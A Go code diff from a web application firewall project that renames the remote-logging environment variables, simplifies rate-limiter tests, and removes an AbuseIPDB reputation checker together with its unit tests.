+	limiter := ratelimit.New(ratelimit.Limits{})
 	limiter.Count(client, start, whole)
 	limiter.CountBytes(client, start, 5, whole)
 	limiter.CountRefusal(client, start, limit)
 	limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
 	loaded := func(now time.Time) ratelimit.Client {
 		t.Helper()
-		after := ratelimit.New(ratelimit.Limits{}, tableSize)
+		after := ratelimit.New(ratelimit.Limits{})
 		after.Load(limiter.Snapshot(), now)
 		return after.Snapshot()[0]
 	}
-	// Two minutes on, the window that ends then covers none of the
+	// Two minutes on, the window that ends then covers neither of the
-	// minute's buckets, of requests, of bytes and of refusals, which are
+	// minute's buckets, of requests and of bytes, which are emptied; the
-	// emptied; the hour's and the day's stay, and so does the history.
+	// hour's and the day's stay, and so does the history.
 	got := loaded(start.Add(2 * time.Minute))
 	if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 ||
 		got.Day.Current != 1 || got.History.Requests != 1 {
@@ -92,24 +91,18 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
 			got.MinuteBytes, got.HourBytes, got.DayBytes)
 	}
 	if got.MinuteRefusals != (ratelimit.Buckets{}) {
 		t.Errorf("loaded two minutes on with buckets of refusals %+v",
 			got.MinuteRefusals)
 	}
 	// A moment before, the window still covers some of the earlier one.
 	got = loaded(start.Add(2*time.Minute - time.Nanosecond))
-	if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
+	if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 {
-		got.MinuteRefusals.Current != 1 {
+		t.Errorf("loaded just under two minutes on with minute buckets %+v and %+v",
-		t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
+			got.Minute, got.MinuteBytes)
 			"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
 	}
 }
 func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
 	t.Parallel()
-	const maxClients = 3
+	const maxClients = 20000
 	// clients.json lists the clients by address. Here each was last seen
 	// a second before the one listed before it, so the last listed is the
@@ -123,7 +116,7 @@ func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
 		addr = addr.Next()
 	}
-	limiter := ratelimit.New(ratelimit.Limits{}, maxClients)
+	limiter := ratelimit.New(ratelimit.Limits{})
 	limiter.Load(clients, midnight())
 	got := limiter.Snapshot()
@@ -1,5 +1,5 @@
-// Package remotelog sends the lines sww writes on stdout to the
+// Package remotelog sends the lines smallwebwaf writes on stdout to the
-// remote log endpoint, SWW_LOG_REMOTE_URL, as the "Request log" section
+// remote log endpoint, SWWAF_LOG_REMOTE_URL, as the "Request log" section
 // of SPEC.md describes: each line as the message of an RFC 5424 syslog
 // record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
 // or unreachable endpoint never holds up a request or stdout.
@@ -24,7 +24,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
-// The forms of SWW_LOG_REMOTE_URL, by its scheme.
+// The forms of SWWAF_LOG_REMOTE_URL, by its scheme.
 const (
 	SchemeUDP = "syslog+udp"
 	SchemeTCP = "syslog+tcp"
@@ -56,18 +56,18 @@ const (
 // Params are what New needs.
 type Params struct {
-	// URL is the endpoint (SWW_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
+	// URL is the endpoint (SWWAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
 	// SchemeTLS, a host and a port.
 	URL *url.URL
 	// RootCAs are the certificates a SchemeTLS endpoint's certificate
-	// must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
+	// must chain to (SWWAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
 	RootCAs *x509.CertPool
 	// Buffer is the most lines held while they wait to be sent
-	// (SWW_LOG_REMOTE_BUFFER).
+	// (SWWAF_LOG_REMOTE_BUFFER).
 	Buffer int
 	// Facility is the number of the records' syslog facility
-	// (SWW_LOG_REMOTE_FACILITY), and AppName their APP-NAME
+	// (SWWAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
-	// (SWW_LOG_REMOTE_APP_NAME).
+	// (SWWAF_LOG_REMOTE_APP_NAME).
 	Facility int
 	AppName  string
 }
@@ -243,7 +243,7 @@ func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
 			}
 		}
-		processLog.Warn("sending to SWW_LOG_REMOTE_URL failed",
+		processLog.Warn("sending to SWWAF_LOG_REMOTE_URL failed",
 			"error", err.Error(), "connecting_again_in", delay.String())
 		select {
@@ -44,7 +44,7 @@ import (
 const (
 	// started is the time a record made as a test starts gives.
 	started = "2000-01-01T00:00:00.000Z"
-	appName = "fsn1app1/blog"
+	appName = "fsn1app1/gitea"
 	// local0 is the number of the default facility, and local0Info the
 	// priority of its records.
 	local0     = 16
@@ -94,7 +94,7 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
 		endpoint := listen(t)
 		endpointParams := params(remotelog.SchemeTCP, endpoint.Addr())
 		endpointParams.Facility = 19 // local3
-		endpointParams.AppName = "blog"
+		endpointParams.AppName = "gitea"
 		sender, _, _ := run(t, endpointParams)
 		_, _ = sender.Write([]byte("first\nsecond\n"))
@@ -103,8 +103,8 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
 		wantCounts(t, sender, 2, 0, 0)
 		frames := bufio.NewReader(accept(t, endpoint))
-		wantFrame(t, frames, record(t, "<158>", "blog", "first"))
+		wantFrame(t, frames, record(t, "<158>", "gitea", "first"))
-		wantFrame(t, frames, record(t, "<158>", "blog", "second"))
+		wantFrame(t, frames, record(t, "<158>", "gitea", "second"))
 	})
 }
@@ -586,7 +586,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
 		var fields map[string]any
 		err := json.Unmarshal([]byte(line), &fields)
-		if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
+		if err != nil || fields["msg"] != "sending to SWWAF_LOG_REMOTE_URL failed" {
 			t.Fatalf("logged %q", line)
 		}
@@ -612,7 +612,7 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
 	template := &x509.Certificate{
 		SerialNumber:          big.NewInt(1),
-		Subject:               pkix.Name{CommonName: "sww test CA"},
+		Subject:               pkix.Name{CommonName: "smallwebwaf test CA"},
 		NotBefore:             time.Date(1999, 12, 31, 0, 0, 0, 0, time.UTC),
 		NotAfter:              time.Date(2000, 1, 2, 0, 0, 0, 0, time.UTC),
 		IsCA:                  true,
@@ -1,328 +0,0 @@
 package reputation
 import (
 	"context"
 	"encoding/json"
 	"errors"
 	"fmt"
 	"io"
 	"log/slog"
 	"net/http"
 	"net/netip"
 	"net/url"
 	"slices"
 	"sync"
 	"time"
 	"github.com/hashicorp/golang-lru/v2/simplelru"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 )
 const (
 	// AbuseIPDBURL is where clients are checked: the check endpoint of
 	// AbuseIPDB's API.
 	AbuseIPDBURL = "https://api.abuseipdb.com/api/v2/check"
 	// AbuseIPDBSource is how the request log, the alerts and the metrics
 	// name AbuseIPDB.
 	AbuseIPDBSource = "abuseipdb"
 	// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
 	maxAnswerBytes = 64 << 10
 	// day is the length of the day the checks are counted in, in UTC.
 	day = 24 * time.Hour
 )
 var (
 	errNoScore      = errors.New("the answer gives no abuseConfidenceScore")
 	errBudgetUsedUp = errors.New(
 		"checks spent; none is made until the day ends at 00:00 UTC")
 )
 // Score is what AbuseIPDB said about a client, as reputation.json holds
 // it: the client, an IPv4 address or an IPv6 group, its abuse confidence
 // score, from 0 to 100, and when AbuseIPDB answered.
 type Score struct {
 	Client  netip.Prefix `json:"client"`
 	Score   int64        `json:"score"`
 	Fetched time.Time    `json:"fetched"`
 }
 // Checks are what reputation.json keeps of the checks of clients with
 // AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
 // first, and the scores still in use.
 type Checks struct {
 	Day    time.Time `json:"day,omitzero"`
 	Spent  int       `json:"spent"`
 	Scores []Score   `json:"scores"`
 }
 // AbuseIPDBParams are what NewAbuseIPDB needs.
 type AbuseIPDBParams struct {
 	// URL is where clients are checked, normally AbuseIPDBURL, with Key,
 	// the account's key (SWW_ABUSEIPDB_KEY).
 	URL string
 	Key string
 	// MinScore is the least score that is a hit (SWW_ABUSEIPDB_MIN_SCORE),
 	// and DailyBudget the most checks made in a day, in UTC
 	// (SWW_ABUSEIPDB_DAILY_BUDGET).
 	MinScore    int64
 	DailyBudget int
 	// CacheTTL is how long a score is used after it was fetched
 	// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a check may take
 	// (SWW_REPUTATION_TIMEOUT).
 	CacheTTL time.Duration
 	Timeout  time.Duration
 	// Now tells the time, normally time.Now in UTC.
 	Now func() time.Time
 	// ProcessLog receives each check that fails, and why, and the day's
 	// budget used up.
 	ProcessLog *slog.Logger
 	// Alerts receive a source_failure alert for each.
 	Alerts *alerts.Queue
 }
 // AbuseIPDB checks clients with AbuseIPDB, in the background, and keeps
 // their scores. It is safe for concurrent use.
 type AbuseIPDB struct {
 	params     AbuseIPDBParams
 	httpClient *http.Client
 	mu sync.Mutex
 	// scores are by client. Each is added as it is fetched and never moved
 	// up, so that the one fetched longest ago is the first dropped.
 	scores *simplelru.LRU[netip.Prefix, Score]
 	// checking are the clients whose check is under way.
 	checking map[netip.Prefix]bool
 	// day is the day, in UTC, of the checks spent counts.
 	day   time.Time
 	spent int
 	// checks and failures count the checks made and those that failed,
 	// and retryAt is when a client may be checked again after the last
 	// check failed.
 	checks   int
 	failures int
 	retryAt  time.Time
 }
 // NewAbuseIPDB returns an AbuseIPDB with no score yet, and no check spent.
 func NewAbuseIPDB(params AbuseIPDBParams) *AbuseIPDB {
 	scores, err := simplelru.NewLRU[netip.Prefix, Score](maxVerdicts, nil)
 	if err != nil {
 		panic(err) // NewLRU fails only for a size below one
 	}
 	return &AbuseIPDB{
 		params:     params,
 		httpClient: &http.Client{},
 		scores:     scores,
 		checking:   map[netip.Prefix]bool{},
 	}
 }
 // Hit returns AbuseIPDB's score of client, an IPv4 address or an IPv6
 // group, and whether it is a hit: MinScore or more. A score is used until
 // CacheTTL has passed since it was fetched, whichever of the client's
 // addresses its request comes from. A client without one is checked in
 // the background, by addr, the address its request came from, if
 // offender, if it has committed an offence, unless its check is under
 // way, a check failed less than failureDelay ago, or the day's checks
 // have used up DailyBudget; Hit never waits for a check. The check that
 // uses the budget up is logged and raised as a source_failure alert. ctx
 // is the context of the client's request, and a check goes on after the
 // request ends.
 func (a *AbuseIPDB) Hit(
 	ctx context.Context, client netip.Prefix, addr netip.Addr, offender bool,
 ) (int64, bool) {
 	a.mu.Lock()
 	now := a.params.Now()
 	kept, found := a.scores.Peek(client)
 	if found && now.Sub(kept.Fetched) < a.params.CacheTTL {
 		a.mu.Unlock()
 		return kept.Score, kept.Score >= a.params.MinScore
 	}
 	if today := now.Truncate(day); !a.day.Equal(today) {
 		a.day, a.spent = today, 0
 	}
 	check := offender && !a.checking[client] && !now.Before(a.retryAt) &&
 		a.spent < a.params.DailyBudget
 	if check {
 		a.checking[client] = true
 		a.checks++
 		a.spent++
 		go a.check(context.WithoutCancel(ctx), client, addr)
 	}
 	usedUp := check && a.spent == a.params.DailyBudget
 	a.mu.Unlock()
 	if usedUp {
 		a.alert("the daily budget of AbuseIPDB checks is used up",
 			fmt.Errorf("%d %w", a.params.DailyBudget, errBudgetUsedUp))
 	}
 	return 0, false
 }
 // Checked returns how many checks were made.
 func (a *AbuseIPDB) Checked() int {
 	a.mu.Lock()
 	defer a.mu.Unlock()
 	return a.checks
 }
 // Failures returns how many checks failed.
 func (a *AbuseIPDB) Failures() int {
 	a.mu.Lock()
 	defer a.mu.Unlock()
 	return a.failures
 }
 // BudgetLeft returns how many checks the day's budget has left.
 func (a *AbuseIPDB) BudgetLeft() int {
 	a.mu.Lock()
 	defer a.mu.Unlock()
 	if !a.day.Equal(a.params.Now().Truncate(day)) {
 		return a.params.DailyBudget
 	}
 	return max(a.params.DailyBudget-a.spent, 0)
 }
 // Snapshot returns the checks spent and every score still in use, sorted
 // by client, as reputation.json keeps them.
 func (a *AbuseIPDB) Snapshot() Checks {
 	a.mu.Lock()
 	now := a.params.Now()
 	checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())}
 	for _, kept := range a.scores.Values() {
 		if now.Sub(kept.Fetched) < a.params.CacheTTL {
 			checks.Scores = append(checks.Scores, kept)
 		}
 	}
 	a.mu.Unlock()
 	slices.SortFunc(checks.Scores, func(x, y Score) int {
 		return x.Client.Compare(y.Client)
 	})
 	return checks
 }
 // Load keeps checks, read from reputation.json, in place of those it
 // keeps, but for the scores past maxVerdicts, those fetched longest ago.
 // One fetched CacheTTL ago or more is neither used nor written, as for any
 // score.
 func (a *AbuseIPDB) Load(checks Checks) {
 	scores := slices.Clone(checks.Scores)
 	slices.SortStableFunc(scores, func(x, y Score) int {
 		return x.Fetched.Compare(y.Fetched)
 	})
 	a.mu.Lock()
 	defer a.mu.Unlock()
 	a.day, a.spent = checks.Day, checks.Spent
 	a.scores.Purge()
 	for _, kept := range scores {
 		a.scores.Add(kept.Client, kept)
 	}
 }
 // check checks client with AbuseIPDB by addr, one of its addresses, keeps
 // the score as client's, and notes the check as no longer under way. A
 // check that fails gives no score: it is counted, logged and raised as a
 // source_failure alert, and no client is checked for failureDelay.
 func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
 	score, err := a.ask(ctx, addr)
 	now := a.params.Now()
 	a.mu.Lock()
 	delete(a.checking, client)
 	if err == nil {
 		a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
 	} else {
 		a.failures++
 		a.retryAt = now.Add(failureDelay)
 	}
 	a.mu.Unlock()
 	if err != nil {
 		a.alert("checking a client with AbuseIPDB failed", err)
 	}
 }
 // ask asks AbuseIPDB for addr's abuse confidence score, sending the key
 // in the header Key. An answer other than 200, one that gives no score,
 // and none within Timeout, fail.
 func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
 	ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
 	defer cancel()
 	query := url.Values{"ipAddress": {addr.String()}}
 	req, err := http.NewRequestWithContext(ctx, http.MethodGet,
 		a.params.URL+"?"+query.Encode(), http.NoBody)
 	if err != nil {
 		return 0, fmt.Errorf("make the request: %w", err)
 	}
 	req.Header.Set("Key", a.params.Key)
 	req.Header.Set("Accept", "application/json")
 	res, err := a.httpClient.Do(req)
 	if err != nil {
 		// Do's error names the URL, which holds the client's address, which
 		// is not to be logged: only what went wrong is kept.
 		return 0, fmt.Errorf("check the client: %w", errors.Unwrap(err))
 	}
 	defer func() {
 		_ = res.Body.Close()
 	}()
 	if res.StatusCode != http.StatusOK {
 		return 0, fmt.Errorf("%w %s", errStatus, res.Status)
 	}
 	var answer struct {
 		Data struct {
 			AbuseConfidenceScore *int64 `json:"abuseConfidenceScore"`
 		} `json:"data"`
 	}
 	err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
 	if err != nil {
 		return 0, fmt.Errorf("read the answer: %w", err)
 	}
 	if answer.Data.AbuseConfidenceScore == nil {
 		return 0, errNoScore
 	}
 	return *answer.Data.AbuseConfidenceScore, nil
 }
 // alert raises a source_failure alert from AbuseIPDB with reason and err,
 // and logs them.
 func (a *AbuseIPDB) alert(reason string, err error) {
 	// Raised before it is logged, so that the alert is there once the log
 	// line is.
 	raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
 	a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
 }
@@ -1,663 +0,0 @@
 package reputation_test
 import (
 	"bytes"
 	"encoding/json"
 	"fmt"
 	"io"
 	"log/slog"
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
 	"reflect"
 	"slices"
 	"strings"
 	"sync"
 	"testing"
 	"testing/synctest"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/metrics"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 )
 // The tests of AbuseIPDB run in synctest bubbles, as those of the lists
 // do, and AbuseIPDB is a stand-in reached without the network, for the
 // same reason. A bubble's clock starts at midnight UTC, as a day the
 // checks are counted in starts.
 const (
 	// key is the account's key the tests give, the only one the stand-in
 	// takes.
 	key = "abuseipdb-key-0123456789abcdef"
 	// suspect and other are clients that have committed an offence.
 	suspect = "203.0.113.9"
 	other   = "2001:db8::9"
 )
 func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 		// A client that has committed no offence is not checked.
 		wantScore(t, checker, suspect, false, 0, false)
 		synctest.Wait()
 		wantChecked(t, abuseIPDB)
 		// An offender is, and from then on its score is used, whether or not
 		// it is an offender.
 		wantScore(t, checker, suspect, true, 0, false)
 		synctest.Wait()
 		wantScore(t, checker, suspect, true, 100, true)
 		wantScore(t, checker, suspect, false, 100, true)
 		synctest.Wait()
 		wantChecked(t, abuseIPDB, suspect)
 	})
 }
 func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		// 15 addresses of 2001:db8:1:2::/64, one client, each in a part of
 		// it of its own.
 		var addresses []string
 		for i := 1; i < 16; i++ {
 			addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
 		}
 		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 		// A request from each has the client checked once, by the first.
 		for _, address := range addresses {
 			hitFrom(t, checker, address, true)
 		}
 		synctest.Wait()
 		wantChecked(t, abuseIPDB, addresses[0])
 		// Its score is the whole client's.
 		for _, address := range addresses {
 			wantScore(t, checker, address, true, 100, true)
 		}
 		synctest.Wait()
 		wantChecked(t, abuseIPDB, addresses[0])
 	})
 }
 func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
 		p := abuseIPDBParams()
 		p.MinScore = 75
 		checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
 		for client := range scores {
 			hitFrom(t, checker, client, true)
 		}
 		synctest.Wait()
 		for client, score := range scores {
 			wantScore(t, checker, client, true, score, score >= 75)
 		}
 	})
 }
 func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 		hitFrom(t, checker, suspect, true)
 		synctest.Wait()
 		// AbuseIPDB gives another score from now on, but the one kept is
 		// used, and the client is not checked again, until the TTL has
 		// passed.
 		abuseIPDB.setScore(suspect, 80)
 		time.Sleep(cacheTTL - time.Nanosecond)
 		wantScore(t, checker, suspect, true, 100, true)
 		synctest.Wait()
 		wantChecked(t, abuseIPDB, suspect)
 		// Then it is not used, and the client is checked again.
 		time.Sleep(time.Nanosecond)
 		wantScore(t, checker, suspect, true, 0, false)
 		synctest.Wait()
 		wantScore(t, checker, suspect, true, 80, true)
 		wantChecked(t, abuseIPDB, suspect, suspect)
 	})
 }
 func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		var log bytes.Buffer
 		queue := newQueue()
 		p := abuseIPDBParams()
 		p.DailyBudget = 3
 		p.Alerts = queue
 		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
 		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
 		checker := newAbuseIPDB(abuseIPDB, p)
 		// At noon, the first three offenders spend the budget, and the
 		// fourth, unchecked, is not.
 		time.Sleep(12 * time.Hour)
 		const unchecked = "192.0.2.4"
 		clients := []string{suspect, "192.0.2.2", "192.0.2.3", unchecked}
 		for _, client := range clients {
 			hitFrom(t, checker, client, true)
 		}
 		synctest.Wait()
 		wantChecked(t, abuseIPDB, clients[:3]...)
 		wantBudgetLeft(t, checker, 0)
 		// The check that used the budget up raised the alert, and logged it.
 		const usedUp = "the daily budget of AbuseIPDB checks is used up"
 		wantFailureAlert(t, queue, time.Now(), usedUp,
 			"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
 		if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
 			t.Errorf("logged\n%s\nwant the budget used up", log.String())
 		}
 		// Restarted with what reputation.json keeps, it uses the scores, and
 		// checks no client until the day ends.
 		restarted := &abuseIPDBStandIn{}
 		again := newAbuseIPDB(restarted, p)
 		again.Load(checker.Snapshot())
 		wantScore(t, again, suspect, true, 100, true)
 		wantBudgetLeft(t, again, 0)
 		time.Sleep(12*time.Hour - time.Nanosecond)
 		wantScore(t, again, unchecked, true, 0, false)
 		synctest.Wait()
 		wantChecked(t, restarted)
 		// At midnight the budget is whole again.
 		time.Sleep(time.Nanosecond)
 		wantBudgetLeft(t, again, 3)
 		wantScore(t, again, unchecked, true, 0, false)
 		synctest.Wait()
 		wantChecked(t, restarted, unchecked)
 		wantBudgetLeft(t, again, 2)
 	})
 }
 func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name string
 		// key is the key sent, status and body what AbuseIPDB answers with,
 		// and error the failure.
 		key, body string
 		status    int
 		error     string
 	}{
 		{
 			"a refusal, past AbuseIPDB's own limit", key,
 			`{"errors":[{"detail":"Daily rate limit of 1000 requests exceeded"}]}`,
 			http.StatusTooManyRequests, "the server answered 429 Too Many Requests",
 		},
 		{
 			"a refusal of a wrong key", "wrong-key-0123456789abcdef", "", 0,
 			"the server answered 401 Unauthorized",
 		},
 		{
 			"a server failure", key, "", http.StatusInternalServerError,
 			"the server answered 500 Internal Server Error",
 		},
 		{
 			"an answer without a score", key, `{"data":{"ipAddress":"` + suspect + `"}}`,
 			http.StatusOK, "the answer gives no abuseConfidenceScore",
 		},
 		{
 			"an answer that is not JSON", key, "<html>", http.StatusOK,
 			"read the answer: invalid character '<' looking for beginning of value",
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			synctest.Test(t, func(t *testing.T) {
 				var log bytes.Buffer
 				queue := newQueue()
 				p := abuseIPDBParams()
 				p.Key = tc.key
 				p.Alerts = queue
 				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
 				abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
 				checker := newAbuseIPDB(abuseIPDB, p)
 				// The failure gives no score, and no client is checked within a
 				// minute of it.
 				wantScore(t, checker, suspect, true, 0, false)
 				synctest.Wait()
 				time.Sleep(time.Minute - time.Nanosecond)
 				wantScore(t, checker, other, true, 0, false)
 				synctest.Wait()
 				wantChecked(t, abuseIPDB, suspect)
 				wantFailures(t, checker, 1)
 				time.Sleep(time.Nanosecond)
 				wantScore(t, checker, other, true, 0, false)
 				synctest.Wait()
 				wantChecked(t, abuseIPDB, suspect, other)
 				wantFailures(t, checker, 2)
 				if scores := checker.Snapshot().Scores; len(scores) != 0 {
 					t.Errorf("scores %+v, want none", scores)
 				}
 				// One alert for the first failure; the cooldown holds back the
 				// second.
 				wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
 					"checking a client with AbuseIPDB failed", tc.error, 1)
 				if !strings.Contains(log.String(), `"msg":"checking a client with `+
 					`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
 		})
 	}
 }
 func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		queue := newQueue()
 		p := abuseIPDBParams()
 		p.Alerts = queue
 		abuseIPDB := &abuseIPDBStandIn{hanging: true}
 		checker := newAbuseIPDB(abuseIPDB, p)
 		began := time.Now()
 		// The second, while the first's check is under way, starts none.
 		wantScore(t, checker, suspect, true, 0, false)
 		wantScore(t, checker, suspect, true, 0, false)
 		if waited := time.Since(began); waited != 0 {
 			t.Errorf("waited %s for the check, want no wait", waited)
 		}
 		time.Sleep(timeout - time.Nanosecond)
 		synctest.Wait()
 		wantChecked(t, abuseIPDB, suspect)
 		wantFailures(t, checker, 0)
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 		wantFailures(t, checker, 1)
 		wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
 			"check the client: context deadline exceeded", 0)
 	})
 }
 func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		var log bytes.Buffer
 		queue := newQueue()
 		p := abuseIPDBParams()
 		p.Alerts = queue
 		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
 		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
 		checker := newAbuseIPDB(abuseIPDB, p)
 		m := metrics.New(1, "app")
 		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
 		m.AddAbuseIPDB(checker)
 		// One check that AbuseIPDB answers, and one it refuses with an answer
 		// that names the key.
 		wantScore(t, checker, suspect, true, 0, false)
 		synctest.Wait()
 		wantScore(t, checker, suspect, true, 100, true)
 		abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
 		wantScore(t, checker, other, true, 0, false)
 		synctest.Wait()
 		wantFailures(t, checker, 1)
 		abuseIPDB.mu.Lock()
 		sent := slices.Clone(abuseIPDB.keys)
 		abuseIPDB.mu.Unlock()
 		if !slices.Equal(sent, []string{key, key}) {
 			t.Errorf("checks sent the keys %v, want %s twice", sent, key)
 		}
 		alerted, err := json.Marshal(waiting(queue))
 		if err != nil {
 			t.Fatalf("encode the alerts: %v", err)
 		}
 		kept, err := json.Marshal(checker.Snapshot())
 		if err != nil {
 			t.Fatalf("encode the checks: %v", err)
 		}
 		for name, shown := range map[string]string{
 			"the log": log.String(), "the alerts": string(alerted),
 			"the metrics": scrapeMetrics(t, m), "reputation.json": string(kept),
 		} {
 			if strings.Contains(shown, key) {
 				t.Errorf("%s shows the key:\n%s", name, shown)
 			}
 		}
 	})
 }
 func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
 	t.Parallel()
 	synctest.Test(t, func(t *testing.T) {
 		abuseIPDB := &abuseIPDBStandIn{}
 		p := abuseIPDBParams()
 		p.DailyBudget = 5
 		checker := newAbuseIPDB(abuseIPDB, p)
 		m := metrics.New(1, "app")
 		m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
 		m.AddAbuseIPDB(checker)
 		// One check that AbuseIPDB answers, and one that fails.
 		hitFrom(t, checker, suspect, true)
 		synctest.Wait()
 		abuseIPDB.answerWith(http.StatusInternalServerError, "")
 		hitFrom(t, checker, other, true)
 		synctest.Wait()
 		scraped := scrapeMetrics(t, m)
 		for series, want := range map[string]string{
 			"queries_total":          "2",
 			"failures_total":         "1",
 			"daily_budget_remaining": "3",
 		} {
 			line := "\nsww_reputation_" + series +
 				`{instance="app",source="abuseipdb"} ` + want + "\n"
 			if !strings.Contains(scraped, line) {
 				t.Errorf("metrics\n%s\nwant%s", scraped, line)
 			}
 		}
 	})
 }
 func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
 	t.Parallel()
 	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
 	p := abuseIPDBParams()
 	p.Now = func() time.Time { return now }
 	checker := reputation.NewAbuseIPDB(p)
 	// The last score still in use, and one, of other's /64, fetched a TTL
 	// ago.
 	inUse := reputation.Score{
 		Client: netip.MustParsePrefix(suspect + "/32"), Score: 100,
 		Fetched: now.Add(-cacheTTL + time.Nanosecond),
 	}
 	stale := reputation.Score{
 		Client: netip.MustParsePrefix("2001:db8::/64"), Score: 100,
 		Fetched: now.Add(-cacheTTL),
 	}
 	checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}})
 	wantScore(t, checker, suspect, false, 100, true)
 	wantScore(t, checker, other, false, 0, false)
 	got := checker.Snapshot().Scores
 	if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
 		t.Errorf("scores %+v, want only %+v", got, inUse)
 	}
 }
 func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
 	t.Parallel()
 	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
 	p := abuseIPDBParams()
 	p.Now = func() time.Time { return now }
 	checker := reputation.NewAbuseIPDB(p)
 	// 100,001 scores, listed by client, as reputation.json lists them, each
 	// fetched a millisecond before the one before it: the last is one too
 	// many.
 	const count = 100001
 	scores := make([]reputation.Score, 0, count)
 	addr := netip.MustParseAddr("198.18.0.0")
 	for i := range count {
 		scores = append(scores, reputation.Score{
 			Client:  netip.PrefixFrom(addr, 32),
 			Fetched: now.Add(-time.Duration(i) * time.Millisecond),
 		})
 		addr = addr.Next()
 	}
 	checker.Load(reputation.Checks{Scores: scores})
 	got := checker.Snapshot().Scores
